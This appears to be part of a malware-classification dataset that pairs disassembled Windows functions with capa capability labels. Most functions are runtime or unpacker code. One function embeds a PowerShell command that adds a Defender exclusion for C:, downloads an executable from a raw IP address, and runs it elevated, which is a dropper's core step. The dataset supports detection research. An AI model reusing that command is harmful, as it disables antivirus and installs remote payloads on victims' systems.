joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18009a2b8
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x18011dd00]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x18009a316
cmp word [rdx], r12w
jne 0x18009a316
or byte [rax + r8*8 + 0x38], cl
jmp 0x18009a31c
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x18009a477
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x18009a452
lea r9, [rcx + 2]
cmp ax, r13w
je 0x18009a355
mov rcx, r9
jmp 0x18009a378
cmp r9, rdx
jae 0x18009a38f
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x18009a339
jmp 0x18009a477
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18009a44c
cmp dword [rsp + 0x80], edi
je 0x18009a44c
mov rdx, r14
lea r11, [0x18011dd00]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x18009a425
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x18009a3f8
mov word [rbx], r12w
jmp 0x18009a473
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x18009a401
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x18009a473
cmp word [rsp + 0x70], r12w
jne 0x18009a432
cmp rbx, rsi
je 0x18009a3f2
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.180099c1c
cmp word [rsp + 0x70], r12w
je 0x18009a477
mov word [rbx], r13w
jmp 0x18009a473
lea r11, [0x18011dd00]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x18009a46f
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x18009a477
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18009accc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x18009acfe
call fcn.18008bbbc
mov dword [rax], 0x16
call fcn.180085f54
jmp 0x18009ae1d
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x18009ae1d
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x18009ae1d
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x18009ad2d
lock or dword [rcx + 0x14], 0x10
jmp 0x18009ae1d
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x18009ad41
call fcn.18009ae38
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.180098c50
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.18009a764
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x18009ae0b
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x18009add6
mov rcx, rsi
call fcn.180098c50
cmp eax, edi
je 0x18009adc1
mov rcx, rsi
call fcn.180098c50
cmp eax, 0xfffffffe
je 0x18009adc1
mov rcx, rsi
call fcn.180098c50
movsxd rbx, eax
lea r14, [0x18011dd00]
mov rcx, rsi
sar rbx, 6
call fcn.180098c50
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x18009adc8
lea rdx, [0x1801175e0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x18009add6
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x18009adfa
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x18009adfa
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x18009adfa
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x18009ae20
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x1800a011c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800a014c
xor eax, eax
jmp 0x1800a020f
mov rbp, rbx
cmp word [rax], si
je 0x1800a0171
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800a0158
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800a0154
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180098430
movsxd r14, eax
test eax, eax
jne 0x1800a01af
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800a0145
mov rcx, r14
call fcn.180098374
mov rdi, rax
test rax, rax
jne 0x1800a01c8
xor ecx, ecx
call fcn.180098338
jmp 0x1800a01a4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180098430
test eax, eax
jne 0x1800a01f9
mov rcx, rdi
call fcn.180098338
jmp 0x1800a0203
xor ecx, ecx
call fcn.180098338
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800a022c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1800a02b3
mov rsi, rbx
cmp word [rax], bp
je 0x1800a0272
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1800a025c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1800a0258
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.180098374
mov rdi, rax
test rax, rax
je 0x1800a02a0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180081630
mov rbp, rdi
xor ecx, ecx
call fcn.180098338
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800a8230
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180099c1c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180099c1c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800a8380
cmp rax, 0xffffffffffffffff
je 0x1800a8380
xor edi, edi
test rbp, rbp
jle 0x1800a832b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180098a28
mov rbx, rax
test rax, rax
jne 0x1800a82b8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800a8321
mov edx, 0x8000
mov ecx, r14d
call fcn.1800a80b8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180099654
cmp eax, 0xffffffff
je 0x1800a8301
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1800a82c8
mov edx, r15d
mov ecx, r14d
call fcn.1800a80b8
jmp 0x1800a8321
cmp byte [rsi + 0x38], dil
je 0x1800a8318
cmp dword [rsi + 0x34], 5
jne 0x1800a8318
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
cmp byte [rsi + 0x30], dil
je 0x1800a8321
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180098338
jmp 0x1800a8394
jns 0x1800a8394
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180099c1c
cmp rax, 0xffffffffffffffff
jne 0x1800a834c
cmp byte [rsi + 0x30], dil
je 0x1800a8394
mov edi, dword [rsi + 0x2c]
jmp 0x1800a8394
mov ecx, r14d
call fcn.1800a3d70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800a8394
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recvfrom
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
jmp 0x1800a8394
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800a838d
mov eax, dword [rsi + 0x2c]
jmp 0x1800a8392
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180099c1c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1800a8a70
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800a8a98
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800a8a98
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1401312a0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401312ad
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1401312bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401312a5
lea eax, [rcx + 1]
jmp 0x1401312cb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1401312de
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1401312c4
sub eax, 3
jb 0x1401312fe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14013134d
sar eax, 1
movsxd rbp, eax
jb 0x140131334
jmp 0x14013130c
add ebx, ebx
jne 0x14013130a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140131334
inc ecx
add ebx, ebx
jne 0x14013131a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140131334
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14013132d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14013131c
add ecx, 2
jmp 0x140131339
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140131262
jmp 0x1401312ad
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xb3400
mov dl, 0x25
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14013139d
cmp rsi, rcx
jae 0x1401313a5
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140131384
cmp al, 0x8f
ja 0x140131384
cmp byte [rsi - 2], 0xf
je 0x14013138a
sub al, 0xe8
cmp al, 1
ja 0x14013136e
cmp rsi, rcx
jae 0x1401313a5
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140131374
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401313a5
lodsb al, byte [rsi]
jmp 0x140131384
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x12d000]
mov eax, dword [rdi]
or eax, eax
je 0x14013140e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x160b40]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401313b2
jns 0x1401313e7
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1401313f1
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140131408
mov qword [rbx], rax
add rbx, 8
jmp 0x1401313d2
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140131448
cmp al, 0xef
ja 0x14013143a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14013141a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140131429
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x25f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14013149c
sub rsp, 0xffffffffffffff80
jmp 0x14002549c
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140015000
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011262
Capabilities:
Create process on windows

Disassembly:
jmp 0x140011820
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, [0x1400210f2]
call fcn.140011366
lea rax, str.powershell__Command__Add_MpPreference__ExclusionPath_C:__Force___Net.ServicePointManager_::SecurityProtocol__Tls__Tls11__Tls12__Ssl3___DownloadUrl__http:__49.13.194.118_ADServices.exe___WebResponse__Invoke_WebRequest__Uri__DownloadUrl__Method_Head__Write_Output_Downloading__DownloadUrl__Start_BitsTransfer__Source__WebResponse.BaseResponse.ResponseUri.AbsoluteUri.Replace__20______Destination_C:Users_
mov qword [rbp + 8], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
lea r8, str.powershell.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:UsersADSerices.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14001126c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012d10
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012d30
xor al, al
jmp 0x140012db1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012d43
xor al, al
jmp 0x140012db1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012d6d
xor al, al
jmp 0x140012db1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012d81
xor al, al
jmp 0x140012db1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012d93
xor al, al
jmp 0x140012db1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012daf
xor al, al
jmp 0x140012db1
mov al, 1
add rsp, 0x38
ret
Function at 0x1408c5058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1408c51df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1408c5089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408c506f
add dl, dl
jne 0x1408c5096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408c50f6
xor eax, eax
add dl, dl
jne 0x1408c50a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408c51ad
add dl, dl
jne 0x1408c50b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408c50c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408c50d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408c50dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1408c50ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1408c507e
mov eax, 1
add dl, dl
jne 0x1408c5106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408c5113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408c50fb
sub eax, ebx
mov ebx, 1
jne 0x1408c514c
mov ecx, 1
add dl, dl
jne 0x1408c512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1408c513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408c5123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1408c507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1408c5168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1408c5175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408c515d
cmp eax, 0x7d00
jae 0x1408c519b
cmp eax, 0x500
jb 0x1408c5196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1408c507e
cmp eax, 0x7f
ja 0x1408c519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1408c507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1408c51d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1408c507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140070780]
mov dword [rax], 1
mov rax, qword [0x140070790]
mov dword [rax], 1
mov rax, qword [0x1400707a0]
mov dword [rax], 1
mov rax, qword [0x140070730]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140007f80
Capabilities:
Read file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rdi, rcx
mov rcx, rdx
mov edx, 1
mov rsi, r8
mov r9, rdi
call sym.fread
mov rbx, rax
cmp rsi, rax
je 0x140007fb1
mov rcx, rdi
call sym.ferror
test eax, eax
jne 0x140007fc0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov rcx, rdi
call sym.checkErr__stdZsyncio_u165.part.0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400089b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rcx, rdx
mov edx, 1
mov r9, rbx
call sym.fwrite
mov rcx, rbx
mov rsi, rax
call sym.ferror
test eax, eax
je 0x1400089e0
mov rcx, rbx
call sym.checkErr__stdZsyncio_u165.part.0
mov rax, rsi
add rsp, 0x28
pop rbx
pop rsi
ret
Function at 0x140008bd0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
lea rax, [0x1400654c0]
mov rdi, rcx
mov rsi, rdx
lea rcx, [rsp + 0x20]
mov edx, 0xfa0
mov qword [rsp + 0x38], rax
lea r12, [rsp + 0x30]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
call sym.mnewString
mov rax, qword [rsp + 0x20]
mov rbp, qword [0x140070700]
mov qword [rsp + 0x40], rax
mov rbx, rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x48], rax
test rbx, rbx
jle 0x140008db8
nop word [rax + rax]
mov rax, qword [rsp + 0x48]
mov r9, rsi
mov r8d, 0xfa0
mov edx, 1
lea rcx, [rax + 8]
call sym.fread
mov rbx, rax
cmp rax, 0xfa0
je 0x140008d40
mov rcx, rsi
call sym.ferror
test eax, eax
je 0x140008c87
mov rcx, rsi
call sym.checkErr__stdZsyncio_u165.part.0
mov rcx, rbp
call sym.__emutls_get_address
cmp byte [rax], 0
jne 0x140008df0
test rbx, rbx
js 0x140008e10
mov rdx, rbx
lea rcx, [rsp + 0x40]
call sym.setLengthStrV2
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
call sym.prepareAdd
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
test rbx, rbx
jle 0x140008d18
mov rax, rbx
add rax, 1
jo 0x140008deb
test rax, rax
js 0x140008e2e
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
lea r9, [r8 + rdx + 8]
lea rdx, [rcx + 8]
mov r8, rax
mov rcx, r9
call sym.memcpy
add rbx, qword [rsp + 0x30]
jo 0x140008deb
mov qword [rsp + 0x30], rbx
mov rcx, qword [rsp + 0x48]
nop dword [rax]
test rcx, rcx
je 0x140008d27
test byte [rcx + 7], 0x40
je 0x140008e00
movdqa xmm0, xmmword [rsp + 0x30]
mov rax, rdi
movups xmmword [rdi], xmm0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rbp
call sym.__emutls_get_address
cmp byte [rax], 0
jne 0x140008df0
mov rdx, qword [rsp + 0x40]
mov rcx, r12
call sym.prepareAdd
mov rbx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rbx, rbx
jle 0x140008db8
mov rcx, rbx
add rcx, 1
jo 0x140008dcd
test rcx, rcx
js 0x140008dd8
mov r8, qword [rsp + 0x38]
mov rax, qword [rsp + 0x30]
add rdx, 8
lea rax, [r8 + rax + 8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
add rbx, qword [rsp + 0x30]
jo 0x140008dcd
mov qword [rsp + 0x30], rbx
mov rbx, qword [rsp + 0x40]
test rbx, rbx
jg 0x140008c48
nop dword [rax + rax]
xor ecx, ecx
lea rdx, [rbx - 1]
call sym.raiseIndexError2
mov rcx, qword [rsp + 0x48]
jmp 0x140008d18
call sym.raiseOverflow
jmp 0x140008da5
movabs r8, 0x7fffffffffffffff
xor edx, edx
call sym.raiseRangeErrorI
jmp 0x140008da5
call sym.raiseOverflow
mov rcx, qword [rsp + 0x48]
jmp 0x140008d18
call sym.deallocShared
jmp 0x140008d27
movabs r8, 0x7fffffffffffffff
mov rcx, rbx
xor edx, edx
call sym.raiseRangeErrorI
mov rcx, qword [rsp + 0x48]
jmp 0x140008d18
movabs r8, 0x7fffffffffffffff
mov rcx, rax
xor edx, edx
call sym.raiseRangeErrorI
mov rcx, qword [rsp + 0x48]
jmp 0x140008d18